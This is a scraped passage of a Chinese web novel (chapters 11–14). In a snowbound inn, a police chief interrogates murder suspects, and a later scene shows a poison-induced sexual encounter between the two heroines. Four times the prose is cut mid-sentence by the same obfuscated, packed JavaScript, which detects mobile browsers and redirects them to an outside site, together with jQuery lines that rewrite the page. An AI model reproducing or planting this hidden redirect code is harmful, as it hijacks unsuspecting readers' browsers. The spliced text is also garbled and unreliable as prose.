话音未落,他手中钢刀已经扬起,作势欲劈! 赵龙眼神一厉,也同时踏前一步,刀锋重新锁定陆青和身后的祖孙。 杀意,如同实质的冰霜,瞬间弥漫了整个大堂! “女君小心!”苏嬷嬷低喝一声,身影已如鬼魅般悄无声息地滑至陆青侧前方,一双布满老茧的手微微抬起,袖中隐约有寒光闪动。 老妪和囡囡吓得魂飞魄散,连哭喊都忘了,只是绝望地闭上眼睛。 柳三娘用手帕半掩着嘴,看似惊慌失措地往后缩了缩,躲到了柜台更里面,但她那双柳叶眼却透过指缝,紧紧盯着场中的一举一动。 陆青只觉得浑身的血液都冲上了头顶,又在下一秒变得冰凉,钢刀反射的寒光刺得她眼睛发疼,死亡的气息从未如此接近。 她知道苏嬷嬷或许能护住自己,但身后的祖孙……电光石火之间,她甚至来不及思考,身体已经做出了决定,她没有躲开,反而将祖孙二人牢牢护在身后。 谢见微依旧端坐在椅子上,从始至终未发一言。 然而,面纱之下,无人看见的唇角,却几不可察地微微动了一下。 就在钱虎眼中凶光暴涨,钢刀即将带着千钧之力劈下,苏嬷嬷袖中暗器即将激射而出的瞬间—— “住手。” 一个带着某种奇特穿透力的声音,从大堂角落平静地响起。 如同冰珠落玉盘,清晰地传入每个人的耳中。声音不大,却奇迹般地让钱虎那雷霆万钧的一刀,硬生生僵在了半空。 也让大堂里所有绷紧到极致的心弦,为之一颤。 众人,都不由自主循着声音的来源,将目光投向了那个一直被忽略的角落。 11. 第 11 章 众人循声望去,只见角落里,那个存在感极低的女客缓缓站了起来。 她之前仿佛只是个被风雪困住的普通旅人,毫不起眼。可此刻,她却站直身体,眼神陡然锐利如鹰隼,周身散发出一股凛然不可侵犯的气势。 “锵——” 她将手中那柄看似寻常的长剑往地上一顿,剑鞘与木板相撞,发出清脆的响声。同时,另一只手从怀中掏出一块令牌,高高举起。 令牌在昏黄的灯光下泛着暗沉的光泽,黑底金字,上面清晰刻着—— 【北州府总捕】 “众目睽睽之下,持械行凶,滥杀无辜,眼里还有没有王法?”她的声音清亮冷硬,带着不容置疑的威严,“北州府总捕墨云在此,此间命案,自有公门查办,轮不到你们私设公堂!” 整个大堂骤然一静。 赵龙和钱虎对视一眼,脸上凶悍之色稍敛,但眼神中仍有怀疑。 两人对视一眼,赵龙上前两步,眯起眼睛仔细打量那块腰牌——材质、刻字、纹路……确实是官府制式,不似伪造。 “北州府总捕?”赵龙沉吟片刻,语气放缓了些,但仍带着警惕,“墨总捕远在北州,怎会出现在这南下的荒山野店里?” 墨云收起腰牌,神色不变:“公务在身,不便透露。倒是二位,手持利刃,私设公堂,是何道理?” 钱虎冷哼一声,手中钢刀并未放下:“道理?我两个兄弟死得不明不白,头颅就在地上摆着,我们要为兄弟报仇,这就是道理!” “报仇也得依法。”墨云声音陡然拔高,目光扫过地上的尸体,“若真是她们祖孙杀人,本捕自会按律法办。可若是杀错了人,让真凶逍遥法外,你们对得起死去的兄弟吗?” 她顿了顿,看向赵龙,语气意味深长:“况且……观二位举止,似是行伍出身?更应知晓法度森严,滥杀平民,该当何罪,二位心里清楚。” 赵龙脸色变了变。 钱虎还想争辩,赵龙抬手制止了他。 “墨总捕说得对。”赵龙深吸一口气,将钢刀缓缓垂下,但并未归鞘,“实不相瞒,我等乃苍云关副将,奉命南下执行机密军务。如今兄弟罹难,我等心急如焚,这才失了分寸。” 见状,钱虎也朝墨云拱了拱手:“还望墨总捕体谅。若真能查明真相,擒住真凶,我钱虎感激不尽!但若有人蓄意阻挠……” 他话未说完,但威胁之意已明。 墨云点了点头,神色稍缓:“既是同僚,更该同心协力。本捕既在此,定会全力追查,还请二位暂收兵刃,配合调查。” 赵龙与钱虎交换了一个眼神,终于缓缓将刀收入鞘中。 大堂里的紧张气氛终于有所缓和。 柳三娘像是抓住了救命稻草,连忙小跑过来,对着墨云连连作揖:“捕头大人,您可要为奴家做主啊!这、这杀人凶手,到底是人是鬼?若不找出来,奴家这店……怕是开不下去了!” 墨云瞥了她一眼,没有立刻回应,而是走到大堂中央,环视四周。 她的目光依次扫过瘫坐在地瑟瑟发抖的老妪和囡囡,眼神飘忽的王老五,神色各异的陆青三人,以及柜台后看似惊慌、实则眼珠乱转的柳三娘和伙计。 “所有人,待在原地,未经允许不得离开。”墨云的声音恢复了公事公办的冷硬,“本捕要逐一问话,查验现场。此案发生在客栈内,凶手极有可能仍在众人之中。在真相大白之前,每个人都有嫌疑。” 这话一出,刚刚缓和的气氛又紧绷起来。 墨云不再多言,首先将目光投向了陆青。 她走到陆青面前,上下打量了一番,眼中闪过一丝探究:“这位女君,方才观你验伤查迹,条理清晰,胆识过人,手法颇似公门仵作。” 陆青心中一紧,面上却努力维持镇定。 墨云继续问道:“不知女君如何称呼?师从何人?为何会通晓此道?” 这问题来得直接,陆青能感觉到周围的目光都聚焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897830|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在自己身上。她下意识地看向谢见微,只见对方面纱下的眸子平静无波,几不可察地微微颔首。 陆青定了定神,按照之前准备好的说辞,垂首恭敬答道:“回墨总捕,在下姓陆,单名一个青字。幼时家道中落,流落江湖,曾机缘巧合在义庄帮过忙,跟着一位老仵作学过些粗浅的验尸之法,不过混口饭吃罢了,实在不敢当‘精通’二字。” “至于此番南下……”陆青侧身,看向身后的谢见微,“是因北地战乱,不得已带着家中娘子南下寻亲避难,途经此地,投宿客栈,不想竟遇上这等祸事。” 墨云的目光在陆青和谢见微之间转了转。只见谢见微端坐着,虽戴着面纱看不清容貌,但气质清冷,即便不言不语,也自有一股不容忽视的贵气。 她点了点头,不置可否,“陆女君过谦了,方才所见,观察入微,推断合理,已胜过许多州县衙门的仵作了。”她说着话锋一转:“既通此道,便请陆女君再将验尸所见,详细告知本捕。越细致越好,任何细微之处都不要遗漏。” 陆青应了声是,正要开口复述—— “且慢。” 一直沉默的谢见微忽然出声。 众人目光转向她。 只见谢见微缓缓起身,对墨云微微颔首:“墨总捕,口述难免疏漏,遗忘细节。不如……由我来为陆相君记录吧。” 这话说得自然,墨云随即点头:“也好。老板娘,取笔墨来。” 柳三娘连忙应声,从柜台后翻出一套略显陈旧的笔墨。苏嬷嬷上前接过,动作麻利地研墨润笔,铺开纸张。 谢见微走到桌边,素手执起那支秃笔。 笔虽简陋,但当她握住笔杆的刹那,虽并未特意惹眼,但整个人的气质还是陡然一变。不再是狼狈逃亡的坤泽,更像是一位执掌文书、挥毫泼墨的……上位者。 她对陆青微微颔首,声音平静:“相君请说,我记。” 被她当众如此亲密称呼,陆青不由耳根一热。 12. 第 12 章 陆青深吸一口气,整理思绪,开始用专业的语言描述: “死者二人,断颈处创口平滑如镜,边缘整齐,无明显的顿挫痕迹与激烈挣扎反应。这表明凶器极其锋利,切割速度极快,死者是在瞬间毙命,来不及做出任何挣扎或防御动作。” 谢见微运笔如飞。 她的字迹透过粗糙的纸张显现出来,并非寻常女子的娟秀婉约,而是笔锋锐利,筋骨嶙峋,带着一股清峭孤傲之气。每个字都力透纸背,结构严谨,显然受过极好的书法训练。 一旁的柳三娘原本只是惶惶不安地偷瞄,但当她的目光无意间扫过纸上的字迹时,瞳孔骤然一缩! 她像是被烫到般猛地低下头,脸色更加苍白,身体微微颤抖起来。 墨云敏锐地捕捉到了她的异常:“老板娘,你怎么了?” “没、没什么……”柳三娘慌乱地摆手,声音发颤,“奴家只是……只是想到那箱子里的鬼……太、太吓人了,这世间难道真有鬼魅,能潜入箱中杀人不成?” 她这话像是自言自语,却瞬间将刚刚稍显理性的气氛又拉回了诡谲之中。 “闭嘴!”钱虎厉声呵斥,“哪来的鬼,再妖言惑众,老子先砍了你。” 柳三娘吓得缩了缩脖子,不敢再言,但眼神依旧飘忽,不时偷瞄谢见微笔下的字迹。陆青将这一切看在眼里,心中疑窦丛生,但此刻不是深究的时候。 她继续陈述:“创面走向为由左至右,根据创口形态推断,凶器的运动轨迹应该是从死者左侧切入,以相对平缓的角度,最终从右侧切出。” 她走到木箱旁,指着箱内顶部:“此外,箱内顶板靠近前端的位置,我发现了几道划痕。划痕很浅,但边缘锐利,疑似被某种极细的丝线快速勒割所致。” 谢见微笔下不停,将她的话一字不差地记录下来。 墨云听着,眉头越皱越紧:“丝线?什么样的丝线能瞬间切断人的脖颈?” “寻常丝线自然不能,但若是特制的材质,再配合足够的速度和力道,还是可以的。”她顿了顿,补充道:“而且,凶手必须对力度和角度掌控得极其精准。稍有偏差,要么切不断脖颈,要么会留下明显的顿挫痕迹。” 墨云沉吟片刻,看向那个染血的木箱:“也就是说,杀人凶器很可能与这个箱子,或者箱子里预设的机关有关?” “极有可能。”陆青点头,“但具体如何实现,还需要进一步查验。” 闻言,墨云目光锐利地扫过在场每一个人:“所有接触过那个箱子的人,都有重大嫌疑。” 她开始逐一排除: 先是看向赵龙和钱虎,“案发时,你们与死者同坐一桌,并未靠近木箱。且根据陆女君推断的凶手位置和角度,若要从箱外动手,难以实现如此精准的切割。暂时可以排除。” 赵龙和钱虎冷哼一声,但并未反驳。 “陆女君,你家娘子和这位嬷嬷。”墨云转向陆青三人,“案发前后,你们一直坐在原位,众目睽睽之下,没有接近木箱的机会。同样暂时排除。” 陆青松了口气。 墨云的目光落向剩下的几人——老妪、囡囡、柳三娘、以及缩在角落的王老五。 “那么,有嫌疑的便是你们几位了。”她的声音冷了下来,“老板娘,你是客栈主人,对这客栈的结构最熟悉,也有充足的时间布置机关。祖孙二人,箱子是你们的,戏法是你们演的,你们有最大的机会在箱内动手脚。” “至于王老五……”墨云看向瑟瑟发抖的行商,“你说你遇到‘白影’袭击,同伴尽数被杀,只有你逃出生天。可谁能证明你说的都是真的?万一你就是凶手,自导自演了这一切呢?” “冤枉啊,大人冤枉啊!”王老五立刻扑倒在地,连连磕头,“小人说的句句属实,那鬼影真的存在。它、它现在说不定就藏在客栈里,等着杀我们所有人!” “荒唐!”墨云厉声呵斥,“这世间哪有什么鬼魅,无非是有人故弄玄虚,掩人耳目!” 她不再理会王老五,开始逐一审问。 首先是被吓得抱在一起的老妪和囡囡。 墨云走到她们面前,蹲下身,语气稍微缓和了些:“老人家,小姑娘,你们不用怕。只要说实话,本捕不会冤枉好人。” 老妪浑浊的眼睛里满是泪水,声音沙哑:“捕头大人,老婆子、老婆子真的什么都不知道啊。我们祖孙二人,就是走江湖卖艺,混口饭吃……怎么敢、怎么敢杀人啊……” 囡囡也抽泣着:“囡囡只是表演戏法,箱子是祖传的,以前从没出过事,囡囡也不知道为什么、为什么一打开,人就、人就……” 墨云仔细打量她们的神色,又伸手搭上老妪和囡囡的手腕,探查脉息。 片刻后,她收回手,对陆青和赵龙等人道:“脉象确实没有练过武功的迹象,以她们的气力,即便有锋利丝线,也绝不可能瞬间切断两个壮汉的脖颈。” 墨云暂时将祖孙二人列为嫌疑较低的对象。 接下来是柳三娘。 这位女掌柜此刻已恢复了些镇定,但脸色依旧苍白。她走到墨云面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897831|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,福了福身:“捕头大人,奴家冤枉啊。奴家在此开店三年,向来本分经营,从未做过伤天害理之事。那地窖……确实只是存放货物,绝无他用。” 墨云盯着她的眼睛:“箱子的密道,通向你的地窖。你怎么解释?” “这……”柳三娘眼神闪烁,“奴家、奴家也不知道怎么回事,或许是巧合吧。奴家挖地窖,真的是为了自保……这荒山野岭的,万一遇到匪徒,也好有个藏身之处……真的只是为了保命啊!” “保命需要挖密道?”钱虎冷笑,“我看你是方便杀人越货吧!” “军爷明鉴!”柳三娘急得眼泪都出来了,“奴家一个弱女子,哪有本事杀人?那两位军爷何等雄壮,奴家就算有歹心,也没那个能耐啊!” 墨云不置可否,继续问:“案发前后,你在做什么?” “奴家一直在柜台后算账。”柳三娘连忙道,“后来、后来听到惊叫声,才跑出来看……就看见、看见那箱子开了,人头……人头滚了出来……” 她说着,又瑟缩了一下,像是回想起那恐怖的一幕。 墨云沉思片刻,没有立刻下结论。 最后是王老五。这个行商此刻已濒临崩溃,蜷缩在墙角,嘴里不停念叨着‘鬼影’、‘追来了’、‘都要死’之类的胡话。 墨云走到他面前,厉声道:“王老五,抬起头来。” 王老五一哆嗦,茫然地抬起头,眼神涣散。 “你说你遇到了‘白影’袭击。”墨云紧紧盯着他的眼睛,“具体是什么样子?怎么袭击的?你又是怎么逃出来的?一五一十说清楚!” “白影……白影……”王老五喃喃道,“就是一道白影……嗖的一下……人就断了……血喷出来……好多血……”他忽然抓住墨云的衣角,嘶声道:“捕头,真的有鬼!它跟来了!它现在就在这客栈里,我们都会死,都会死的!” 墨云甩开他的手,眉头紧锁。 从王老五的精神状态看,不像伪装。但他的话太过离奇,难以取信。 大堂内一时陷入了僵局。 墨云走到中央,目光如刀,扫过每一个被怀疑的对象,声音森然: “诸位,本捕再说一次。这世间绝无鬼魅,所谓的‘白影’,无非是有人穿着白衣,借助风雪夜色,施展高超的身法杀人。” “而客栈内的这起命案,设计巧妙,凶手极其狡猾善匿。如今看来……” 她顿了顿,一字一句道:“真凶,就隐藏在你们几人之中!” 被点名的几人脸色骤变。 13. 第 13 章 风雪呼啸,愈发猛烈。 “为防真凶逃脱或再次作案,”墨总捕头带着不容置疑的威严,道:“赵副将、钱副将,烦请二位守好客栈大门。任何人,没有我的许可,不得出入!” 赵龙眉头一皱:“墨总捕,查案要紧,守门这等事……” “守门就是查案的第一步。”墨云打断他,眼神锐利,“凶手极可能仍在我们中间,守住出口,才能防止其趁乱潜逃。二位军旅出身,身手了得,守住大门最为稳妥。” 她顿了顿,语气稍缓:“本捕需立即飞鸽传书北州府,详陈此地案情,请求增派得力人手前来。在天亮援兵抵达之前,为安全计,也避免节外生枝,所有人暂回各自房间休息,无必要不得随意走动!” 这个安排合情合理,带着官府的流程与威严。 赵龙与钱虎对视一眼,虽心有不甘,但眼下情况诡谲,墨云又是官府中人,所言在理。守住出口,确是防止内鬼逃脱或里应外合的最直接方法。 “就听墨捕头的!”赵龙重重哼了一声,算是应下,拎着刀大步走向门口,像尊门神般杵在那里,眼神凶狠地扫视着厅内众人。 钱虎也默默走到门边另一侧,手始终按在刀柄上。 墨云不再多言,从随身行囊中取出纸笔,就着柜台,借着昏暗的灯光快速书写起来。她的字迹刚劲迅疾,显然经常处理此类文书。 大堂内的气氛压抑到了极点。 恐惧、猜疑、不安,如同无形的黑手,沉甸甸地压在每个人心头。那两具无头尸身依旧躺在箱子旁,血泊已开始凝结成暗红色的冰碴,在火光映照下泛着诡异的光。 没有人说话。 柳三娘低垂着头,手指无意识地绞着帕子。老妪紧紧搂着囡囡,祖孙俩依偎在角落的阴影里,仿佛想把自己藏起来。 王老五依旧蜷缩着,嘴里嘟嘟囔囔,眼神涣散。 陆青能感觉到身边谢见微的呼吸很平稳,但身体却微微绷紧,那不是害怕,更像是一种高度戒备的状态。苏嬷嬷则悄无声息地挪了半步,将两人更严密地护在身后。 “好了。”墨云将写好的信卷成细条,又从行囊中取出一个巴掌大的竹筒和一小截炭条。她走到窗边,推开一条缝隙,刺骨的寒风裹着雪片立刻灌入。她将竹筒放在唇边,吹出几声奇异而短促的音节,模仿着某种鸟鸣。 不多时,一只灰扑扑的鸽子竟顶着风雪,扑棱着翅膀从黑暗中飞来,精准地落在窗棂上。墨云将信条塞进鸽子腿上的小铜管,用炭条在铜管上画了个简易符号,抬手一送。 鸽子振翅而起,瞬间消失在漫天风雪之中。 “信已送出。”墨云关好窗,转身面对众人,语气不容置疑,“现在,所有人,立刻回房。我会逐一检查,记住好好待在房里,天亮之前,不要随便走动。” 她的目光在柳三娘、老妪祖孙、王老五身上着重停留:“你们几位,嫌疑未清,更需安分。” 没有人敢提出异议。 在这与世隔绝的荒野客栈,接连发生诡异命案的风雪之夜,这位突然亮明身份的捕头,似乎成了唯一能维系秩序的存在。 众人沉默着,像一群被驱赶的羔羊,在赵龙、钱虎虎视眈眈的目光和墨云冷峻的注视下,沿着吱嘎作响的楼梯,陆续返回二楼房间。 陆青三人回到那间所谓的上房。 苏嬷嬷反手闩好门,又仔细检查了窗栓,这才稍稍松了口气。 陆青背靠着冰凉的门板,一直紧绷的神经终于有了一丝松弛的间隙,这才感到后怕的冷汗已然浸透了内衫。她抬手抹了把额角,指尖冰凉。 “终于……暂时安全了。”她低声喃喃,语气里带着劫后余生的虚脱。 谢见微却没有立刻坐下休息。她走到窗边,并未推开,只是侧耳倾听着窗外呼啸的风雪声,那双点墨凤眸在昏暗的光线下显得愈发深邃。 “安全?”她轻轻重复了一遍,带着一丝若有若无的讽意,“只怕未必。” 苏嬷嬷走到她身侧,低声道:“大小姐是觉得……那个墨总捕有问题?” 谢见微微微摇头:“问题未必,但绝不简单。北州府总捕,正六品的官职,怎会孤身一人出现在这南下千里之外的荒山野店?所谓的‘公务’,恐怕非同小可。” 苏嬷嬷若有所思地点头:“老奴也觉着,这人不简单。那咱们……” 她的话没说完,但目光却和谢见微一起,转向了刚刚点起油灯、正试图让屋内更亮堂些的陆青。 陆青正拿着火折子,小心地调整灯芯,察觉到两人的视线,动作不由一顿。 橘黄色的火苗跳动起来,将她眼中与‘流浪乞儿’不甚相符的敏锐映了出来。 房间里陷入了短暂的沉默。 只有灯花偶尔爆开的噼啪声,和窗外永无止息的风雪呜咽。 终于,谢见微先开了口,声音平静,听不出喜怒:“陆青。” “嗯?”陆青放下火折子,转过身,心里莫名一紧。 “你验尸时所说的那些。”谢见微缓步走到桌边,指尖无意识地划过粗糙的桌面,“创口形态、凶器推断、血迹喷溅……条理清晰,用语精准,甚至提到了一些连那墨总捕都未曾深究的细节。” 她抬起眼,目光如冰似雪,直直看向陆青:“这可不是在义庄帮帮忙、跟老仵作学点‘粗浅’皮毛就能会的。你,到底是什么人?” 苏嬷嬷也上前一步,虽未言语,但眼神中的审视与疑虑同样清晰。 压力陡然降临。 陆青呼吸微滞,她知道,这个问题迟早会来。 只是没想到,会在这个危机四伏、自身难保的关头,被如此直接地挑明。 她张了张嘴,脑海中闪过无数个编造的理由,却又被自己一一否定。面对谢见微和苏嬷嬷这样的人物,寻常的谎言恐怕难以取信,反而会加深怀疑。 沉默了片刻,陆青抬起头,迎上谢见微审视的目光。 “林小姐,苏嬷嬷,”她声音有些干涩,却十分坦荡,“我知道你们疑我。我之前的说辞,确有隐瞒之处。但我可以发誓,我对你们绝无恶意,更非有意欺瞒。只是……我身上发生的一些事,离奇荒诞,说出来恐怕无人会信,徒惹人笑。” 主仆二人直直地打量着她,仿佛在评估着什么。 陆青坦然地回望过去,语气诚挚:“那夜雪地之中,我奄奄一息,是婆婆将我救回,给了我一条生路。此恩此情,陆青铭记在心,绝不敢忘。我知眼下处境微妙,你们对我心存疑虑,实属应当。若你们实在觉得我隐瞒来历,留在身边是个隐患……那等此事了结,出了这客栈,我们便分道扬镳吧。” 这话她说得有些艰难。这几日相处,虽尴尬窘迫居多,但苏嬷嬷的照料,谢见微那冰冷外表下偶尔流露的浅笑,还有这‘结发’的名分,都让她在这个完全陌生的世界里,生出一点微弱的归属感。 分道扬镳,意味着重新变回一无所有、孤身一人的状态。 但她更不愿引发两人猜忌,一路之上互相提防。 说完,她垂下眼,等待裁决。 房间里再次安静下来。 谢见微没有说话,只是静静地看着她。那双凤眸深不见底,仿佛在衡量她话语中的每一个字,每一分情绪。 苏嬷嬷眉头紧锁,看看陆青,又看看自家小姐。 良久。 “噗嗤——” 一声极轻的笑声打破了寂静。 是谢见微。 她面纱之上的眉眼微微弯起一个清浅的弧度,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897832|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快又恢复了平日的清冷。她转头看向苏嬷嬷,语气里带着几分罕见、近乎调侃的意味: “嬷嬷,你多心了。” 苏嬷嬷一愣。 谢见微的视线重新落回陆青身上,这次,少了几分审视,多了几分……难以形容的复杂神色。 “观她这几日言行,”谢见微声音平淡,却字字清晰,“呆子一个,心思写在脸上,待人接物生涩得很。若真是包藏祸心、别有企图之人,岂会是这般模样?怕是还没那等本事,能在你我眼皮子底下伪装得滴水不漏。” 她顿了顿,看向苏嬷嬷:“嬷嬷觉得呢?” 苏嬷嬷紧绷的脸色也缓和下来,她仔细回想这几日陆青的种种。 确实,不像个城府深沉之辈。 “大小姐说得是。”苏嬷嬷点了点头,看向陆青的目光温和了些,“是老奴多虑了。陆女君……是个实诚人。” 陆青听着这主仆二人一唱一和,先是愕然,随即一股热意直冲脸颊。 呆子?实诚人? 这评价……怎么听着不像夸奖? 她一时哭笑不得,张嘴想辩解两句,却又不知从何辩起。回想自己穿来后的种种表现,似乎……还真有点呆? 看着她那副窘迫的模样,谢见微眼底似乎又掠过一丝极淡的笑意,但很快被她垂下的眼睫掩去。 “好了。”谢见微语气转回平日的清冷,“既如此,便不必再提分道扬镳之事。眼下我们同在一条船上,客栈里危机四伏,外有风雪匪兵,内有疑凶潜伏,还需同心协力,小心应付。” “是。”陆青连忙应道,心里那块石头总算落了地,涌起一股暖意。 至少暂时,她不是孤身一人了。 苏嬷嬷也正色道:“大小姐说的是。那墨云虽看似主持公道,但来历不明,不可全信。赵龙钱虎杀心未泯,老板娘行为古怪,王老五疯疯癫癫,那对祖孙也未必全然无辜……今夜,恐怕不会太平。” 她看向陆青,叮嘱道:“陆女君,你今夜警醒些。老奴就在隔壁,若有任何异动,大声呼喊即可。” “我明白,嬷嬷。”陆青郑重点头。 就在这时,一直站在窗边的谢见微忽然身体微微一晃,下意识地抬手扶住了窗棂。 “小姐?”苏嬷嬷立刻察觉,快步上前。 谢见微摇了摇头,示意无妨,但她的呼吸却明显急促了些,额角渗出细密的汗珠。那双总是清冷克制的凤眸,此刻蒙上了一层水光,眼尾微微泛红,竟透出几分平日里绝不可能见到的……媚意。 她咬着下唇,似乎在极力忍耐着什么,“嬷嬷……我……” 苏嬷嬷脸色一变,立刻握住她的手腕探了探,随即露出恍然又无奈的神色:“时辰到了……这‘缠情障’竟又发作了,想必是方才厅中情绪紧张,加之这客栈内气息混杂,诱发了毒性。” 她转向陆青,语气变得自然无比,仿佛在吩咐一件再平常不过的家事:“陆女君,你伺候大小姐歇息吧。老奴去让伙计准备些热水,送到隔壁房间。待会儿大小姐需要沐浴更衣,你伺候完了,便来隔壁敲门叫老奴。” “啊?”陆青先是没反应过来,待看到谢见微那越发潮红的脸颊和微微颤抖的身体,嗅到空气中似乎独属于谢见微的清冷幽香变得馥郁时,才猛地明白过来。 脸腾地一下红了个透。 “我……我……”她手足无措,眼神乱飘,就是不敢看谢见微。 苏嬷嬷却已不容分说,将谢见微扶到床边坐下,对陆青使了个眼色:“好生伺候着。”说完,便干脆利落地转身出门,并顺手带上了房门。 一声轻响。 房间里,只剩下陆青和已然情动难耐的谢见微。 空气仿佛瞬间变得粘稠滚烫。 14. 第 14 章 陆青僵立在原地,手脚都不知道该往哪里放。她能清晰地听到自己擂鼓般的心跳,也能听到床榻边谢见微压抑的喘息。 那清冷的幽香此刻已变得馥郁而诱人,丝丝缕缕钻进陆青的鼻腔,引动着她体内被‘引阳散’滋养过的乾元信香,也开始不安分地躁动起来。 一股熟悉的燥热自腹部升起,迅速蔓延至四肢百骸。 谢见微坐在床沿,身子微微发抖。她似乎还想维持最后的体面,抬起那双水光潋滟的凤眸,瞪向呆立不动的陆青,只是那眼神里早已没了平日的冰冷锐利,只剩下煎熬的迷离与恼怒。 “你……你还傻站着做什么?!”她带着难以抑制的颤抖,与其说是呵斥,不如说是诱人的嗔怨,“快……快把蜡烛灭了!” 这命令般的提醒像是一道惊雷,劈醒了陆青混沌的神经。 “哦!对,灭灯,灭灯……”她语无伦次地应着,几乎是同手同脚地挪到桌边,对着那盏唯一的油灯,手忙脚乱地吹了好几下,才将那跳动的小小火苗吹熄。 室内顿时陷入一片黑暗。 只有窗外微弱的雪光,透过窗纸,勉强勾勒出床上人模糊的轮廓。 视觉被剥夺,其他感官便变得异常敏锐。 谢见微压抑的呻吟,衣料摩擦的窸窣声,以及那越来越浓郁的勾魂信香,如同无形的丝线,将陆青紧紧缠绕。 她凭着记忆和感觉,摸索着走向床榻。 指尖首先触碰到的是微凉的锦被,紧接着,便触到一片滚烫滑腻的肌肤——是谢见微的手。那手猛地一颤,却没有躲开,反而主动攥住了她的手。 指尖传来的温度和力道,让陆青心中也是一颤。 “林…娘子……”她低声唤道,声音是自己都未察觉的沙哑。 回应她的,是一声更加难耐的呜咽,以及猛然将她往前拽的力道。 陆青不再犹豫,就着这股力道坐上床沿,黑暗中,她依稀能看到谢见微模糊的轮廓靠了过来,滚烫瞬间填满了她的怀抱。 衣衫不知何时已散乱不堪。 触手所及,皆是滑如凝脂、烫如暖玉的肌肤。 谢见微的身体猛地绷紧,随即软软地瘫倒在她怀里,将发烫的脸颊埋入她的颈窝。 滚烫的呼吸喷在陆青敏感的皮肤上,激起一阵战栗。 一回生,二回熟。 有了前几次的经历,陆青此刻虽然依旧脸红心跳,手足无措,但至少不再像最初那般完全凭本能行事。 她努力回忆着之前摸索出的,似乎能让怀中人稍稍舒适些的方式。 “嗯……”谢见微发出一声模糊的哼唧,绷紧的身体似乎松懈了一点点,无意识地将自己更紧地贴向陆青。 得到这细微的回应,陆青胆子稍大了些。 唇试探着落下,谢见微的身体又是一颤。她记得图册上似乎提过,这里是坤泽的敏感之处。 “陆…陆青……”她模糊地唤着陆青的名字,声音又娇又媚,与平日判若两人。 “我在。”陆青低声回应! 谢见微闭着眼,含糊地吐出一些词句:“快些…唔那里不行,慢些……” 一会快,一会慢,当真是难伺候得很。 陆青额头冒汗,可吐槽归吐槽,动作却越发细致用心,将谢见微每一丝细微的反应都记在心里。 她像一个最用功的学生,在实践中不断完善着自己的‘技术’。 云雨过后,是席卷全身的餍足与……悸动。她发现,这件事,当真如同会上瘾的毒。不仅仅是身体的本能,更是在这亲密无间中,她仿佛能触碰到谢见微冰冷外壳下的真实。 也只有在这种时刻,谢见微才是热的,是活的,是有人气的。 然而,这短暂的温存并未持续多久。 紧接着,陆青便感觉到,那双原本紧紧搂着她脖颈的手臂,松开了。 仿佛刚才那个热情如火、娇吟婉转的女子,只是一场幻梦。 “去叫苏嬷嬷过来吧。” 谢见微的声音响起,已经恢复了平日里的冷淡。 “……好。”陆青低声应道,心头那点刚刚升起的温热,也随着这话语迅速凉了下去。 她摸索着起身,借着微光找到自己散落在地上的衣物,一件件默默穿好。过程中,她能感觉到谢见微的视线似乎落在自己身上,但那目光没有任何温度,只是平静地看着,如同看一件无关紧要的物事。 穿好衣服,陆青走到门边,拉开门闩。 走廊里一片漆黑寂静,其他房间的门都紧闭着,仿佛所有人都已陷入沉睡。 陆青趁着没人,快步走到隔壁,轻轻敲了敲门。 门立刻被拉开一条缝,苏嬷嬷的脸出现在后面,看到她,眼中闪过了然,低声道:“热水备好了,老奴这就过去。” “有劳嬷嬷。”陆青侧身让开。 苏嬷嬷端着一盆热气腾腾的水,走进了房间,门随即关上。 陆青走进房间,将门关上,四下打量着,房间只有一张简易板床,被褥冰凉,带着一股陈旧的霉味。 “叩、叩叩。” 不多时,敲门声突然响起。 陆青一个激灵,压低声音问:“谁?” 门外安静了一瞬,然后传来一个细弱稚嫩,带着几分怯生生的声音: “是……是我,囡囡。” 囡囡?那个变戏法的小姑娘? 陆青愣了一下,心中警惕未消,这小姑娘半夜敲门做什么?又是找谁? 她悄声走到门边,没有立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897833|192291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门,而是隔着门板问:“囡囡?这么晚了,有事吗?” 